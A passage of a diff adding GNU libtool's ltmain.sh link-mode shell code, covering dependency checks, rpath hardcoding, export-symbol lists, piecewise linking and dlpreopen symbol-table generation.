;; + esac + fi + if test -n "$a_deplib" ; then + libname=`eval \\$echo \"$libname_spec\"` + for i in $lib_search_path $sys_lib_search_path $shlib_search_path; do + potential_libs=`ls $i/$libname[.-]* 2>/dev/null` + for potent_lib in $potential_libs; do + potlib="$potent_lib" # see symlink-check above in file_magic test + if eval $echo \"$potent_lib\" 2>/dev/null \ + | ${SED} 10q \ + | $EGREP "$match_pattern_regex" > /dev/null; then + newdeplibs="$newdeplibs $a_deplib" + a_deplib="" + break 2 + fi + done + done + fi + if test -n "$a_deplib" ; then + droppeddeps=yes + $echo + $echo "*** Warning: linker path does not have real file for library $a_deplib." + $echo "*** I have the capability to make that library automatically link in when" + $echo "*** you link to this library. But I can only do this if you have a" + $echo "*** shared version of the library, which you do not appear to have" + $echo "*** because I did check the linker path looking for a file starting" + if test -z "$potlib" ; then + $echo "*** with $libname but no candidates were found. (...for regex pattern test)" + else + $echo "*** with $libname and none of the candidates passed a file format test" + $echo "*** using a regex pattern. Last file checked: $potlib" + fi + fi + else + # Add a -L argument. + newdeplibs="$newdeplibs $a_deplib" + fi + done # Gone through all deplibs. + ;; + none | unknown | *) + newdeplibs="" + tmp_deplibs=`$echo "X $deplibs" | $Xsed -e 's/ -lc$//' \ + -e 's/ -[LR][^ ]*//g'` + if test "X$allow_libtool_libs_with_static_runtimes" = "Xyes" ; then + for i in $predeps $postdeps ; do + # can't use Xsed below, because $i might contain '/' + tmp_deplibs=`$echo "X $tmp_deplibs" | ${SED} -e "1s,^X,," -e "s,$i,,"` + done + fi + if $echo "X $tmp_deplibs" | $Xsed -e 's/[ ]//g' \ + | grep . >/dev/null; then + $echo + if test "X$deplibs_check_method" = "Xnone"; then + $echo "*** Warning: inter-library dependencies are not supported in this platform." + else + $echo "*** Warning: inter-library dependencies are not known to be supported." + fi + $echo "*** All declared inter-library dependencies are being dropped." + droppeddeps=yes + fi + ;; + esac + versuffix=$versuffix_save + major=$major_save + release=$release_save + libname=$libname_save + name=$name_save + + case $host in + *-*-rhapsody* | *-*-darwin1.[012]) + # On Rhapsody replace the C library is the System framework + newdeplibs=`$echo "X $newdeplibs" | $Xsed -e 's/ -lc / -framework System /'` + ;; + esac + + if test "$droppeddeps" = yes; then + if test "$module" = yes; then + $echo + $echo "*** Warning: libtool could not satisfy all declared inter-library" + $echo "*** dependencies of module $libname. Therefore, libtool will create" + $echo "*** a static module, that should work as long as the dlopening" + $echo "*** application is linked with the -dlopen flag." + if test -z "$global_symbol_pipe"; then + $echo + $echo "*** However, this would only work if libtool was able to extract symbol" + $echo "*** lists from a program, using \`nm' or equivalent, but libtool could" + $echo "*** not find such a program. So, this module is probably useless." + $echo "*** \`nm' from GNU binutils and a full rebuild may help." + fi + if test "$build_old_libs" = no; then + oldlibs="$output_objdir/$libname.$libext" + build_libtool_libs=module + build_old_libs=yes + else + build_libtool_libs=no + fi + else + $echo "*** The inter-library dependencies that have been dropped here will be" + $echo "*** automatically added whenever a program is linked with this library" + $echo "*** or is declared to -dlopen it." + + if test "$allow_undefined" = no; then + $echo + $echo "*** Since this library must not contain undefined symbols," + $echo "*** because either the platform does not support them or" + $echo "*** it was explicitly requested with -no-undefined," + $echo "*** libtool will only create a static version of it." + if test "$build_old_libs" = no; then + oldlibs="$output_objdir/$libname.$libext" + build_libtool_libs=module + build_old_libs=yes + else + build_libtool_libs=no + fi + fi + fi + fi + # Done checking deplibs! + deplibs=$newdeplibs + fi + + + # move library search paths that coincide with paths to not yet + # installed libraries to the beginning of the library search list + new_libs= + for path in $notinst_path; do + case " $new_libs " in + *" -L$path/$objdir "*) ;; + *) + case " $deplibs " in + *" -L$path/$objdir "*) + new_libs="$new_libs -L$path/$objdir" ;; + esac + ;; + esac + done + for deplib in $deplibs; do + case $deplib in + -L*) + case " $new_libs " in + *" $deplib "*) ;; + *) new_libs="$new_libs $deplib" ;; + esac + ;; + *) new_libs="$new_libs $deplib" ;; + esac + done + deplibs="$new_libs" + + + # All the library-specific variables (install_libdir is set above). + library_names= + old_library= + dlname= + + # Test again, we may have decided not to build it any more + if test "$build_libtool_libs" = yes; then + if test "$hardcode_into_libs" = yes; then + # Hardcode the library paths + hardcode_libdirs= + dep_rpath= + rpath="$finalize_rpath" + test "$mode" != relink && rpath="$compile_rpath$rpath" + for libdir in $rpath; do + if test -n "$hardcode_libdir_flag_spec"; then + if test -n "$hardcode_libdir_separator"; then + if test -z "$hardcode_libdirs"; then + hardcode_libdirs="$libdir" + else + # Just accumulate the unique libdirs. + case $hardcode_libdir_separator$hardcode_libdirs$hardcode_libdir_separator in + *"$hardcode_libdir_separator$libdir$hardcode_libdir_separator"*) + ;; + *) + hardcode_libdirs="$hardcode_libdirs$hardcode_libdir_separator$libdir" + ;; + esac + fi + else + eval flag=\"$hardcode_libdir_flag_spec\" + dep_rpath="$dep_rpath $flag" + fi + elif test -n "$runpath_var"; then + case "$perm_rpath " in + *" $libdir "*) ;; + *) perm_rpath="$perm_rpath $libdir" ;; + esac + fi + done + # Substitute the hardcoded libdirs into the rpath. + if test -n "$hardcode_libdir_separator" && + test -n "$hardcode_libdirs"; then + libdir="$hardcode_libdirs" + if test -n "$hardcode_libdir_flag_spec_ld"; then + eval dep_rpath=\"$hardcode_libdir_flag_spec_ld\" + else + eval dep_rpath=\"$hardcode_libdir_flag_spec\" + fi + fi + if test -n "$runpath_var" && test -n "$perm_rpath"; then + # We should set the runpath_var. + rpath= + for dir in $perm_rpath; do + rpath="$rpath$dir:" + done + eval "$runpath_var='$rpath\$$runpath_var'; export $runpath_var" + fi + test -n "$dep_rpath" && deplibs="$dep_rpath $deplibs" + fi + + shlibpath="$finalize_shlibpath" + test "$mode" != relink && shlibpath="$compile_shlibpath$shlibpath" + if test -n "$shlibpath"; then + eval "$shlibpath_var='$shlibpath\$$shlibpath_var'; export $shlibpath_var" + fi + + # Get the real and link names of the library. + eval shared_ext=\"$shrext_cmds\" + eval library_names=\"$library_names_spec\" + set dummy $library_names + realname="$2" + shift; shift + + if test -n "$soname_spec"; then + eval soname=\"$soname_spec\" + else + soname="$realname" + fi + if test -z "$dlname"; then + dlname=$soname + fi + + lib="$output_objdir/$realname" + linknames= + for link + do + linknames="$linknames $link" + done + + # Use standard objects if they are pic + test -z "$pic_flag" && libobjs=`$echo "X$libobjs" | $SP2NL | $Xsed -e "$lo2o" | $NL2SP` + + # Prepare the list of exported symbols + if test -z "$export_symbols"; then + if test "$always_export_symbols" = yes || test -n "$export_symbols_regex"; then + $show "generating symbol list for \`$libname.la'" + export_symbols="$output_objdir/$libname.exp" + $run $rm $export_symbols + cmds=$export_symbols_cmds + save_ifs="$IFS"; IFS='~' + for cmd in $cmds; do + IFS="$save_ifs" + eval cmd=\"$cmd\" + if len=`expr "X$cmd" : ".*"` && + test "$len" -le "$max_cmd_len" || test "$max_cmd_len" -le -1; then + $show "$cmd" + $run eval "$cmd" || exit $? + skipped_export=false + else + # The command line is too long to execute in one step. + $show "using reloadable object file for export list..." + skipped_export=: + # Break out early, otherwise skipped_export may be + # set to false by a later but shorter cmd. + break + fi + done + IFS="$save_ifs" + if test -n "$export_symbols_regex"; then + $show "$EGREP -e \"$export_symbols_regex\" \"$export_symbols\" > \"${export_symbols}T\"" + $run eval '$EGREP -e "$export_symbols_regex" "$export_symbols" > "${export_symbols}T"' + $show "$mv \"${export_symbols}T\" \"$export_symbols\"" + $run eval '$mv "${export_symbols}T" "$export_symbols"' + fi + fi + fi + + if test -n "$export_symbols" && test -n "$include_expsyms"; then + $run eval '$echo "X$include_expsyms" | $SP2NL >> "$export_symbols"' + fi + + tmp_deplibs= + for test_deplib in $deplibs; do + case " $convenience " in + *" $test_deplib "*) ;; + *) + tmp_deplibs="$tmp_deplibs $test_deplib" + ;; + esac + done + deplibs="$tmp_deplibs" + + if test -n "$convenience"; then + if test -n "$whole_archive_flag_spec"; then + save_libobjs=$libobjs + eval libobjs=\"\$libobjs $whole_archive_flag_spec\" + else + gentop="$output_objdir/${outputname}x" + generated="$generated $gentop" + + func_extract_archives $gentop $convenience + libobjs="$libobjs $func_extract_archives_result" + fi + fi + + if test "$thread_safe" = yes && test -n "$thread_safe_flag_spec"; then + eval flag=\"$thread_safe_flag_spec\" + linker_flags="$linker_flags $flag" + fi + + # Make a backup of the uninstalled library when relinking + if test "$mode" = relink; then + $run eval '(cd $output_objdir && $rm ${realname}U && $mv $realname ${realname}U)' || exit $? + fi + + # Do each of the archive commands. + if test "$module" = yes && test -n "$module_cmds" ; then + if test -n "$export_symbols" && test -n "$module_expsym_cmds"; then + eval test_cmds=\"$module_expsym_cmds\" + cmds=$module_expsym_cmds + else + eval test_cmds=\"$module_cmds\" + cmds=$module_cmds + fi + else + if test -n "$export_symbols" && test -n "$archive_expsym_cmds"; then + eval test_cmds=\"$archive_expsym_cmds\" + cmds=$archive_expsym_cmds + else + eval test_cmds=\"$archive_cmds\" + cmds=$archive_cmds + fi + fi + + if test "X$skipped_export" != "X:" && + len=`expr "X$test_cmds" : ".*" 2>/dev/null` && + test "$len" -le "$max_cmd_len" || test "$max_cmd_len" -le -1; then + : + else + # The command line is too long to link in one step, link piecewise. + $echo "creating reloadable object files..." + + # Save the value of $output and $libobjs because we want to + # use them later. If we have whole_archive_flag_spec, we + # want to use save_libobjs as it was before + # whole_archive_flag_spec was expanded, because we can't + # assume the linker understands whole_archive_flag_spec. + # This may have to be revisited, in case too many + # convenience libraries get linked in and end up exceeding + # the spec. + if test -z "$convenience" || test -z "$whole_archive_flag_spec"; then + save_libobjs=$libobjs + fi + save_output=$output + output_la=`$echo "X$output" | $Xsed -e "$basename"` + + # Clear the reloadable object creation command queue and + # initialize k to one. + test_cmds= + concat_cmds= + objlist= + delfiles= + last_robj= + k=1 + output=$output_objdir/$output_la-${k}.$objext + # Loop over the list of objects to be linked. + for obj in $save_libobjs + do + eval test_cmds=\"$reload_cmds $objlist $last_robj\" + if test "X$objlist" = X || + { len=`expr "X$test_cmds" : ".*" 2>/dev/null` && + test "$len" -le "$max_cmd_len"; }; then + objlist="$objlist $obj" + else + # The command $test_cmds is almost too long, add a + # command to the queue. + if test "$k" -eq 1 ; then + # The first file doesn't have a previous command to add. + eval concat_cmds=\"$reload_cmds $objlist $last_robj\" + else + # All subsequent reloadable object files will link in + # the last one created. + eval concat_cmds=\"\$concat_cmds~$reload_cmds $objlist $last_robj\" + fi + last_robj=$output_objdir/$output_la-${k}.$objext + k=`expr $k + 1` + output=$output_objdir/$output_la-${k}.$objext + objlist=$obj + len=1 + fi + done + # Handle the remaining objects by creating one last + # reloadable object file. All subsequent reloadable object + # files will link in the last one created. + test -z "$concat_cmds" || concat_cmds=$concat_cmds~ + eval concat_cmds=\"\${concat_cmds}$reload_cmds $objlist $last_robj\" + + if ${skipped_export-false}; then + $show "generating symbol list for \`$libname.la'" + export_symbols="$output_objdir/$libname.exp" + $run $rm $export_symbols + libobjs=$output + # Append the command to create the export file. + eval concat_cmds=\"\$concat_cmds~$export_symbols_cmds\" + fi + + # Set up a command to remove the reloadable object files + # after they are used. + i=0 + while test "$i" -lt "$k" + do + i=`expr $i + 1` + delfiles="$delfiles $output_objdir/$output_la-${i}.$objext" + done + + $echo "creating a temporary reloadable object file: $output" + + # Loop through the commands generated above and execute them. + save_ifs="$IFS"; IFS='~' + for cmd in $concat_cmds; do + IFS="$save_ifs" + $show "$cmd" + $run eval "$cmd" || exit $? + done + IFS="$save_ifs" + + libobjs=$output + # Restore the value of output. + output=$save_output + + if test -n "$convenience" && test -n "$whole_archive_flag_spec"; then + eval libobjs=\"\$libobjs $whole_archive_flag_spec\" + fi + # Expand the library linking commands again to reset the + # value of $libobjs for piecewise linking. + + # Do each of the archive commands. + if test "$module" = yes && test -n "$module_cmds" ; then + if test -n "$export_symbols" && test -n "$module_expsym_cmds"; then + cmds=$module_expsym_cmds + else + cmds=$module_cmds + fi + else + if test -n "$export_symbols" && test -n "$archive_expsym_cmds"; then + cmds=$archive_expsym_cmds + else + cmds=$archive_cmds + fi + fi + + # Append the command to remove the reloadable object files + # to the just-reset $cmds. + eval cmds=\"\$cmds~\$rm $delfiles\" + fi + save_ifs="$IFS"; IFS='~' + for cmd in $cmds; do + IFS="$save_ifs" + eval cmd=\"$cmd\" + $show "$cmd" + $run eval "$cmd" || { + lt_exit=$? + + # Restore the uninstalled library and exit + if test "$mode" = relink; then + $run eval '(cd $output_objdir && $rm ${realname}T && $mv ${realname}U $realname)' + fi + + exit $lt_exit + } + done + IFS="$save_ifs" + + # Restore the uninstalled library and exit + if test "$mode" = relink; then + $run eval '(cd $output_objdir && $rm ${realname}T && $mv $realname ${realname}T && $mv "$realname"U $realname)' || exit $? + + if test -n "$convenience"; then + if test -z "$whole_archive_flag_spec"; then + $show "${rm}r $gentop" + $run ${rm}r "$gentop" + fi + fi + + exit $EXIT_SUCCESS + fi + + # Create links to the real library. + for linkname in $linknames; do + if test "$realname" != "$linkname"; then + $show "(cd $output_objdir && $rm $linkname && $LN_S $realname $linkname)" + $run eval '(cd $output_objdir && $rm $linkname && $LN_S $realname $linkname)' || exit $? + fi + done + + # If -module or -export-dynamic was specified, set the dlname. + if test "$module" = yes || test "$export_dynamic" = yes; then + # On all known operating systems, these are identical. + dlname="$soname" + fi + fi + ;; + + obj) + if test -n "$deplibs"; then + $echo "$modename: warning: \`-l' and \`-L' are ignored for objects" 1>&2 + fi + + if test -n "$dlfiles$dlprefiles" || test "$dlself" != no; then + $echo "$modename: warning: \`-dlopen' is ignored for objects" 1>&2 + fi + + if test -n "$rpath"; then + $echo "$modename: warning: \`-rpath' is ignored for objects" 1>&2 + fi + + if test -n "$xrpath"; then + $echo "$modename: warning: \`-R' is ignored for objects" 1>&2 + fi + + if test -n "$vinfo"; then + $echo "$modename: warning: \`-version-info' is ignored for objects" 1>&2 + fi + + if test -n "$release"; then + $echo "$modename: warning: \`-release' is ignored for objects" 1>&2 + fi + + case $output in + *.lo) + if test -n "$objs$old_deplibs"; then + $echo "$modename: cannot build library object \`$output' from non-libtool objects" 1>&2 + exit $EXIT_FAILURE + fi + libobj="$output" + obj=`$echo "X$output" | $Xsed -e "$lo2o"` + ;; + *) + libobj= + obj="$output" + ;; + esac + + # Delete the old objects. + $run $rm $obj $libobj + + # Objects from convenience libraries. This assumes + # single-version convenience libraries. Whenever we create + # different ones for PIC/non-PIC, this we'll have to duplicate + # the extraction. + reload_conv_objs= + gentop= + # reload_cmds runs $LD directly, so let us get rid of + # -Wl from whole_archive_flag_spec + wl= + + if test -n "$convenience"; then + if test -n "$whole_archive_flag_spec"; then + eval reload_conv_objs=\"\$reload_objs $whole_archive_flag_spec\" + else + gentop="$output_objdir/${obj}x" + generated="$generated $gentop" + + func_extract_archives $gentop $convenience + reload_conv_objs="$reload_objs $func_extract_archives_result" + fi + fi + + # Create the old-style object. + reload_objs="$objs$old_deplibs "`$echo "X$libobjs" | $SP2NL | $Xsed -e '/\.'${libext}$'/d' -e '/\.lib$/d' -e "$lo2o" | $NL2SP`" $reload_conv_objs" ### testsuite: skip nested quoting test + + output="$obj" + cmds=$reload_cmds + save_ifs="$IFS"; IFS='~' + for cmd in $cmds; do + IFS="$save_ifs" + eval cmd=\"$cmd\" + $show "$cmd" + $run eval "$cmd" || exit $? + done + IFS="$save_ifs" + + # Exit if we aren't doing a library object file. + if test -z "$libobj"; then + if test -n "$gentop"; then + $show "${rm}r $gentop" + $run ${rm}r $gentop + fi + + exit $EXIT_SUCCESS + fi + + if test "$build_libtool_libs" != yes; then + if test -n "$gentop"; then + $show "${rm}r $gentop" + $run ${rm}r $gentop + fi + + # Create an invalid libtool object if no PIC, so that we don't + # accidentally link it into a program. + # $show "echo timestamp > $libobj" + # $run eval "echo timestamp > $libobj" || exit $? + exit $EXIT_SUCCESS + fi + + if test -n "$pic_flag" || test "$pic_mode" != default; then + # Only do commands if we really have different PIC objects. + reload_objs="$libobjs $reload_conv_objs" + output="$libobj" + cmds=$reload_cmds + save_ifs="$IFS"; IFS='~' + for cmd in $cmds; do + IFS="$save_ifs" + eval cmd=\"$cmd\" + $show "$cmd" + $run eval "$cmd" || exit $? + done + IFS="$save_ifs" + fi + + if test -n "$gentop"; then + $show "${rm}r $gentop" + $run ${rm}r $gentop + fi + + exit $EXIT_SUCCESS + ;; + + prog) + case $host in + *cygwin*) output=`$echo $output | ${SED} -e 's,.exe$,,;s,$,.exe,'` ;; + esac + if test -n "$vinfo"; then + $echo "$modename: warning: \`-version-info' is ignored for programs" 1>&2 + fi + + if test -n "$release"; then + $echo "$modename: warning: \`-release' is ignored for programs" 1>&2 + fi + + if test "$preload" = yes; then + if test "$dlopen_support" = unknown && test "$dlopen_self" = unknown && + test "$dlopen_self_static" = unknown; then + $echo "$modename: warning: \`AC_LIBTOOL_DLOPEN' not used. Assuming no dlopen support." + fi + fi + + case $host in + *-*-rhapsody* | *-*-darwin1.[012]) + # On Rhapsody replace the C library is the System framework + compile_deplibs=`$echo "X $compile_deplibs" | $Xsed -e 's/ -lc / -framework System /'` + finalize_deplibs=`$echo "X $finalize_deplibs" | $Xsed -e 's/ -lc / -framework System /'` + ;; + esac + + case $host in + *darwin*) + # Don't allow lazy linking, it breaks C++ global constructors + if test "$tagname" = CXX ; then + compile_command="$compile_command ${wl}-bind_at_load" + finalize_command="$finalize_command ${wl}-bind_at_load" + fi + ;; + esac + + + # move library search paths that coincide with paths to not yet + # installed libraries to the beginning of the library search list + new_libs= + for path in $notinst_path; do + case " $new_libs " in + *" -L$path/$objdir "*) ;; + *) + case " $compile_deplibs " in + *" -L$path/$objdir "*) + new_libs="$new_libs -L$path/$objdir" ;; + esac + ;; + esac + done + for deplib in $compile_deplibs; do + case $deplib in + -L*) + case " $new_libs " in + *" $deplib "*) ;; + *) new_libs="$new_libs $deplib" ;; + esac + ;; + *) new_libs="$new_libs $deplib" ;; + esac + done + compile_deplibs="$new_libs" + + + compile_command="$compile_command $compile_deplibs" + finalize_command="$finalize_command $finalize_deplibs" + + if test -n "$rpath$xrpath"; then + # If the user specified any rpath flags, then add them. + for libdir in $rpath $xrpath; do + # This is the magic to use -rpath. + case "$finalize_rpath " in + *" $libdir "*) ;; + *) finalize_rpath="$finalize_rpath $libdir" ;; + esac + done + fi + + # Now hardcode the library paths + rpath= + hardcode_libdirs= + for libdir in $compile_rpath $finalize_rpath; do + if test -n "$hardcode_libdir_flag_spec"; then + if test -n "$hardcode_libdir_separator"; then + if test -z "$hardcode_libdirs"; then + hardcode_libdirs="$libdir" + else + # Just accumulate the unique libdirs. + case $hardcode_libdir_separator$hardcode_libdirs$hardcode_libdir_separator in + *"$hardcode_libdir_separator$libdir$hardcode_libdir_separator"*) + ;; + *) + hardcode_libdirs="$hardcode_libdirs$hardcode_libdir_separator$libdir" + ;; + esac + fi + else + eval flag=\"$hardcode_libdir_flag_spec\" + rpath="$rpath $flag" + fi + elif test -n "$runpath_var"; then + case "$perm_rpath " in + *" $libdir "*) ;; + *) perm_rpath="$perm_rpath $libdir" ;; + esac + fi + case $host in + *-*-cygwin* | *-*-mingw* | *-*-pw32* | *-*-os2*) + testbindir=`$echo "X$libdir" | $Xsed -e 's*/lib$*/bin*'` + case :$dllsearchpath: in + *":$libdir:"*) ;; + *) dllsearchpath="$dllsearchpath:$libdir";; + esac + case :$dllsearchpath: in + *":$testbindir:"*) ;; + *) dllsearchpath="$dllsearchpath:$testbindir";; + esac + ;; + esac + done + # Substitute the hardcoded libdirs into the rpath. + if test -n "$hardcode_libdir_separator" && + test -n "$hardcode_libdirs"; then + libdir="$hardcode_libdirs" + eval rpath=\" $hardcode_libdir_flag_spec\" + fi + compile_rpath="$rpath" + + rpath= + hardcode_libdirs= + for libdir in $finalize_rpath; do + if test -n "$hardcode_libdir_flag_spec"; then + if test -n "$hardcode_libdir_separator"; then + if test -z "$hardcode_libdirs"; then + hardcode_libdirs="$libdir" + else + # Just accumulate the unique libdirs. + case $hardcode_libdir_separator$hardcode_libdirs$hardcode_libdir_separator in + *"$hardcode_libdir_separator$libdir$hardcode_libdir_separator"*) + ;; + *) + hardcode_libdirs="$hardcode_libdirs$hardcode_libdir_separator$libdir" + ;; + esac + fi + else + eval flag=\"$hardcode_libdir_flag_spec\" + rpath="$rpath $flag" + fi + elif test -n "$runpath_var"; then + case "$finalize_perm_rpath " in + *" $libdir "*) ;; + *) finalize_perm_rpath="$finalize_perm_rpath $libdir" ;; + esac + fi + done + # Substitute the hardcoded libdirs into the rpath. + if test -n "$hardcode_libdir_separator" && + test -n "$hardcode_libdirs"; then + libdir="$hardcode_libdirs" + eval rpath=\" $hardcode_libdir_flag_spec\" + fi + finalize_rpath="$rpath" + + if test -n "$libobjs" && test "$build_old_libs" = yes; then + # Transform all the library objects into standard objects. + compile_command=`$echo "X$compile_command" | $SP2NL | $Xsed -e "$lo2o" | $NL2SP` + finalize_command=`$echo "X$finalize_command" | $SP2NL | $Xsed -e "$lo2o" | $NL2SP` + fi + + dlsyms= + if test -n "$dlfiles$dlprefiles" || test "$dlself" != no; then + if test -n "$NM" && test -n "$global_symbol_pipe"; then + dlsyms="${outputname}S.c" + else + $echo "$modename: not configured to extract global symbols from dlpreopened files" 1>&2 + fi + fi + + if test -n "$dlsyms"; then + case $dlsyms in + "") ;; + *.c) + # Discover the nlist of each of the dlfiles. + nlist="$output_objdir/${outputname}.nm" + + $show "$rm $nlist ${nlist}S ${nlist}T" + $run $rm "$nlist" "${nlist}S" "${nlist}T" + + # Parse the name list into a source file. + $show "creating $output_objdir/$dlsyms" + + test -z "$run" && $echo > "$output_objdir/$dlsyms" "\ +/* $dlsyms - symbol resolution table for \`$outputname' dlsym emulation. */ +/* Generated by $PROGRAM - GNU $PACKAGE $VERSION$TIMESTAMP */ + +#ifdef __cplusplus +extern \"C\" { +#endif + +/* Prevent the only kind of declaration conflicts we can make. */ +#define lt_preloaded_symbols some_other_symbol + +/* External symbol declarations for the compiler. */\ +" + + if test "$dlself" = yes; then + $show "generating symbol list for \`$output'" + + test -z "$run" && $echo ': @PROGRAM@ ' > "$nlist" + + # Add our own program objects to the symbol list. + progfiles=`$echo "X$objs$old_deplibs" | $SP2NL | $Xsed -e "$lo2o" | $NL2SP` + for arg in $progfiles; do + $show "extracting global C symbols from \`$arg'" + $run eval "$NM $arg | $global_symbol_pipe >> '$nlist'" + done + + if test -n "$exclude_expsyms"; then + $run eval '$EGREP -v " ($exclude_expsyms)$" "$nlist" > "$nlist"T' + $run eval '$mv "$nlist"T "$nlist"' + fi + + if test -n "$export_symbols_regex"; then + $run eval '$EGREP -e "$export_symbols_regex" "$nlist" > "$nlist"T' + $run eval '$mv "$nlist"T "$nlist"' + fi + + # Prepare the list of exported symbols + if test -z "$export_symbols"; then + export_symbols="$output_objdir/$outputname.exp" + $run $rm $export_symbols + $run eval "${SED} -n -e '/^: @PROGRAM@ $/d' -e 's/^.* \(.*\)$/\1/p' "'< "$nlist" > "$export_symbols"' + case $host in + *cygwin* | *mingw* ) + $run eval "echo EXPORTS "'> "$output_objdir/$outputname.def"' + $run eval 'cat "$export_symbols" >> "$output_objdir/$outputname.def"' + ;; + esac + else + $run eval "${SED} -e 's/\([].[*^$]\)/\\\\\1/g' -e 's/^/ /' -e 's/$/$/'"' < "$export_symbols" > "$output_objdir/$outputname.exp"' + $run eval 'grep -f "$output_objdir/$outputname.exp" < "$nlist" > "$nlist"T' + $run eval 'mv "$nlist"T "$nlist"' + case $host in + *cygwin* | *mingw* ) + $run eval "echo EXPORTS "'> "$output_objdir/$outputname.def"' + $run eval 'cat "$nlist" >> "$output_objdir/$outputname.def"' + ;; + esac + fi + fi + + for arg in $dlprefiles; do + $show "extracting global C symbols from \`$arg'" + name=`$echo "$arg" | ${SED} -e 's%^.*/%%'` + $run eval '$echo ": $name " >> "$nlist"' + $run eval "$NM $arg | $global_symbol_pipe >> '$nlist'" + done + + if test -z "$run"; then + # Make sure we have at least an empty file. + test -f "$nlist" || : > "$nlist" + + if test -n "$exclude_expsyms"; then + $EGREP -v " ($exclude_expsyms)$" "$nlist" > "$nlist"T + $mv "$nlist"T "$nlist" + fi + + # Try sorting and uniquifying the output. + if grep -v "^: " < "$nlist" | + if sort -k 3 /dev/null 2>&1; then + sort -k 3 + else + sort +2 + fi | + uniq > "$nlist"S; then + : + else + grep -v "^: " < "$nlist" > "$nlist"S + fi + + if test -f "$nlist"S; then + eval "$global_symbol_to_cdecl"' < "$nlist"S >> "$output_objdir/$dlsyms"' + else + $echo '/* NONE */' >> "$output_objdir/$dlsyms" + fi + + $echo >> "$output_objdir/$dlsyms" "\ + +#undef lt_preloaded_symbols + +#if defined (__STDC__) && __STDC__ +# define lt_ptr void * +#else +# define lt_ptr char * +# define const +#endif + +/* The mapping between symbol names and symbols. */ +" + + case $host in + *cygwin* | *mingw* ) + $echo >> "$output_objdir/$dlsyms" "\ +/* DATA imports from DLLs on WIN32 can't be const, because + runtime relocations are performed -- see ld's documentation + on pseudo-relocs */ +struct { +" + ;; + * ) + $echo >> "$output_objdir/$dlsyms" "\ +const struct { +" + ;; + esac + + + $echo >> "$output_objdir/$dlsyms" "\ + const char *name; + lt_ptr address; +} +lt_preloaded_symbols[] = +{\ +" + + eval "$global_symbol_to_c_name_address" < "$nlist" >> "$output_objdir/$dlsyms" + + $echo >> "$output_objdir/$dlsyms" "\ + {0, (lt_ptr) 0} +}; + +/* This works around a problem in FreeBSD linker */ +#ifdef FREEBSD_WORKAROUND +static const void *lt_preloaded_setup() { + return lt_preloaded_symbols; +} +#endif + +#ifdef __cplusplus +} +#endif\ +" + fi + + pic_flag_for_symtable= + case $host in + # compiling the symbol table file with pic_flag works around + # a FreeBSD bug that causes programs to crash when -lm is + # linked before any other PIC object. But we must not use + # pic_flag when linking with -static. The problem exists in + # FreeBSD 2.2.6 and is fixed in FreeBSD 3.1. + *-*-freebsd2*|*-*-freebsd3.0*|*-*-freebsdelf3.0*) + case "$compile_command " in + *" -static "*) ;; + *) pic_flag_for_symtable=" $pic_flag -DFREEBSD_WORKAROUND";; + esac;; + *-*-hpux*) + case "$compile_command " in + *" -static "*) ;; + *) pic_flag_for_symtable=" $pic_flag";; + esac + esac + + # Now compile the dynamic symbol file. + $show "(cd $output_objdir && $LTCC $LTCFLAGS -c$no_builtin_flag$pic_flag_for_symtable \"$dlsyms\")" + $run eval '(cd $output_objdir && $LTCC $LTCFLAGS -c$no_builtin_flag$pic_flag_for_symtable "$dlsyms")' || exit $? + + # Clean up the generated files. + $show "$rm $output_objdir/$dlsyms $nlist ${nlist}S ${nlist}T" + $run $rm "$output_objdir/$dlsyms" "$nlist" "${nlist}S" "${nlist}T" + + # Transform the symbol file into the correct name. + case $host in + *cygwin* | *mingw* ) + if test -f "$output_objdir/${outputname}.def" ; then + compile_command=`$echo "X$compile_command" | $Xsed -e "s%@SYMFILE@%$output_objdir/${outputname}.def $output_objdir/${outputname}S.${objext}%"` + finalize_command=`$echo "X$finalize_command" | $Xsed -e "s%@SYMFILE@%$output_objdir/${outputname}.def $output_objdir/${outputname}S.${objext}%"` + else + compile_command=`$echo "X$compile_command" | $Xsed -e "s%@SYMFILE@%$output_objdir/${outputname}S.${objext}%"` + finalize_command=`$echo "X$finalize_command" | $Xsed -e "s%@SYMFILE@%$output_objdir/${outputname}S.${objext}%"` + fi + ;; + * ) + compile_command=`$echo "X$compile_command" | $Xsed -e "s%@SYMFILE@%$output_objdir/${outputname}S.${objext}%"` + finalize_command=`$echo "X$finalize_command" | $Xsed -e "s%@SYMFILE@%$output_objdir/${outputname}S.${objext}%"` + ;; + esac + ;; + *) + $echo "$modename: unknown suffix for \`$dlsyms'" 1>&2 + exit $EXIT_FAILURE + ;; + esac + else + # We keep going just in case the user didn't refer to + # lt_preloaded_symbols. The linker will fail if global_symbol_pipe + # really was required. + + # Nullify the symbol file. + compile_command=`$echo "X$compile_command" | $Xsed -e "s% @SYMFILE@%%"` + finalize_command=`$echo "X$finalize_command" | $Xsed -e "s% @SYMFILE@%%"` + fi + + if test "$need_relink" = no || test "$build_libtool_libs" != yes; then + # Replace the output file specification. + compile_command=`$echo "X$compile_command" | $Xsed -e 's%@OUTPUT@%'"$output"'%g'` + link_command="$compile_command$compile_rpath" + + # We have no uninstalled library dependencies, so finalize right now. + $show "$link_command" + $run eval "$link_command" + exit_status=$? + + # Delete the generated files. + if test -n "$dlsyms"; then + $show "$rm $output_objdir/${outputname}S.${objext}" + $run $rm "$output_objdir/${outputname}S.${objext}" + fi + + exit $exit_status + fi + + if test -n "$shlibpath_var"; then + # We should set the shlibpath_var + rpath= + for dir in $temp_rpath; do + case $dir in + [\\/]* | [A-Za-z]:[\\/]*) + # Absolute path. + rpath="$rpath$dir:" + ;; + *) + # Relative path: add a thisdir entry. + rpath="$rpath\$thisdir/$dir:" + ;; + esac + done + temp_rpath="$rpath" + fi + + if test -n "$compile_shlibpath$finalize_shlibpath"; then + compile_command="$shlibpath_var=\"$compile_shlibpath$finalize_shlibpath\$$shlibpath_var\" $compile_command" + fi + if test -n "$finalize_shlibpath"; then + finalize_command="$shlibpath_var=\"$finalize_shlibpath\$$shlibpath_var\" $finalize_command" + fi + + compile_var= + finalize_var= + if test -n "$runpath_var"; then + if test -n "$perm_rpath"; then + # We should set the runpath_var. + rpath= + for dir in $perm_rpath; do + rpath="$rpath$dir:" + done + compile_var="$runpath_var=\"$rpath\$$runpath_var\" " + fi + if test -n "$finalize_perm_rpath"; then + # We should set the runpath_var. + rpath= + for dir in $finalize_perm_rpath; do + rpath="$rpath$dir:" + done + finalize_var="$runpath_var=\"$rpath\$$runpath_var\" " + fi + fi + + if test "$no_install" = yes; then + # We don't need to create a wrapper script. + link_command="$compile_var$compile_command$compile_rpath" + # Replace the output file specification. + link_command=`$echo "X$link_command" | 